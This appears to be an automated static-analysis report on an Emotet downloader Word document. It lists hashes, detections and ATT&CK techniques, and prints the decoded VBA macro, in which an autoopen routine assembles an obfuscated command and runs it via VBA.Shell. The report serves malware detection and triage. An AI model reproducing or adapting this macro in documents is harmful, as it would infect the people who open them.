Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7cc1a551e6060d0e…

MALICIOUS

Office (OLE)

58.5 KB Created: 2017-09-26 15:49:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 79d60161c27af11089d3e7d2fdcfc9b0 SHA-1: 7e1b5693044043fc2ab8ebd180412e5f1d1ecc1d SHA-256: 7cc1a551e6060d0e7a38423a2247edd4a84b6cca927f996d2bc056269dedb6e6
172 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample was identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6344335-3', strongly indicating the Emotet family. Static analysis revealed VBA macros, including an autoopen function, and a critical heuristic firing for a potential Shell call. The VBA script concatenates strings to form a command that is executed via VBA.Shell, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6344335-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6344335-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    rAPYYxgkvE = "vhbYRFbHUUH" + "PFuMzFPtTU" + "PtKNYCMm" + "ZKFzNPkxwbF" + "ByntpFzYLPc" + "EzVSRVSc" + KUXEHwXzapW = "GfGerWD" + "RmUXGDgwLA" + "GxhzybTswVX" + "MZAucbgB" + "MrhufhA" + "pPAeNwREcD" + WYEXustMU = "ndudpaYy" + "hGsrUcAGmYh" + "TVrXPwFCPx" + "SEeTvpsrmyT" + "xBFRNAfN" + "AxaZwyymUfG" + "UBhutCkF"
VBA.Shell$ "" + "" + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + ActiveDocument.CustomDocumentProperties("HfheNpERswu") + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + ActiveDocument.CustomDocumentProperties("ucTGKXraN") + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + ActiveDocument.BuiltInDocumentProperties("Comments") + zfAfAUnNg + yuHaht …
FDkUFbWKsAX = "FYTrsSmyTc" + "XckbUrDYk" + "bLataxhSh" + "BanAHnWhVw" + "DFeahMbxYDk" + "pMAPFwKTdr" + NztxALB = "duutGnctssU" + "dKRXSKWsK" + "wKXKSHf" + "MZMaFATesR" + "RYHrpnua" + "mLBLEErGAe" + tfCkDPBwwz = "EFBgVCANvK" + "ebCxYVTTvFy" + "HPVGHNenpDM" + "xcYCdsR" + "hWMzLMsEygh" + "WTwtrVnDWP" + EwKkuUpukN = "adWCuZSmN" + "phCzwmR" + "FtrepVASTY" + "VuAAdULSfeh" + "PNucLPK" + "sSEgcUSs" + "udCfaRaH"
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
GMFsCGhA
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1704 bytes
SHA-256: 601e25a688c55613abad537313d2ad8211a57bcb27840d1eb33a78b8c3d25d47
Detection
ClamAV: No threats found
Obfuscation or payload: likely
47 of 82 identifiers look randomly generated (e.g. 'vhbYRFbHUUH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function GMFsCGhA()
rAPYYxgkvE = "vhbYRFbHUUH" + "PFuMzFPtTU" + "PtKNYCMm" + "ZKFzNPkxwbF" + "ByntpFzYLPc" + "EzVSRVSc" + KUXEHwXzapW = "GfGerWD" + "RmUXGDgwLA" + "GxhzybTswVX" + "MZAucbgB" + "MrhufhA" + "pPAeNwREcD" + WYEXustMU = "ndudpaYy" + "hGsrUcAGmYh" + "TVrXPwFCPx" + "SEeTvpsrmyT" + "xBFRNAfN" + "AxaZwyymUfG" + "UBhutCkF"
VBA.Shell$ "" + "" + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + ActiveDocument.CustomDocumentProperties("HfheNpERswu") + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + ActiveDocument.CustomDocumentProperties("ucTGKXraN") + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + ActiveDocument.BuiltInDocumentProperties("Comments") + zfAfAUnNg + yuHahtGAeCB + BcanGKPg + zeHgEpc + cuHsAxmvEY + pcmZVAsLCGL + bUpVpvDYuZV + hHMAbCn + RvDmBaFvrFn, 0
FDkUFbWKsAX = "FYTrsSmyTc" + "XckbUrDYk" + "bLataxhSh" + "BanAHnWhVw" + "DFeahMbxYDk" + "pMAPFwKTdr" + NztxALB = "duutGnctssU" + "dKRXSKWsK" + "wKXKSHf" + "MZMaFATesR" + "RYHrpnua" + "mLBLEErGAe" + tfCkDPBwwz = "EFBgVCANvK" + "ebCxYVTTvFy" + "HPVGHNenpDM" + "xcYCdsR" + "hWMzLMsEygh" + "WTwtrVnDWP" + EwKkuUpukN = "adWCuZSmN" + "phCzwmR" + "FtrepVASTY" + "VuAAdULSfeh" + "PNucLPK" + "sSEgcUSs" + "udCfaRaH"
End Function
Sub autoopen()
GMFsCGhA
End Sub

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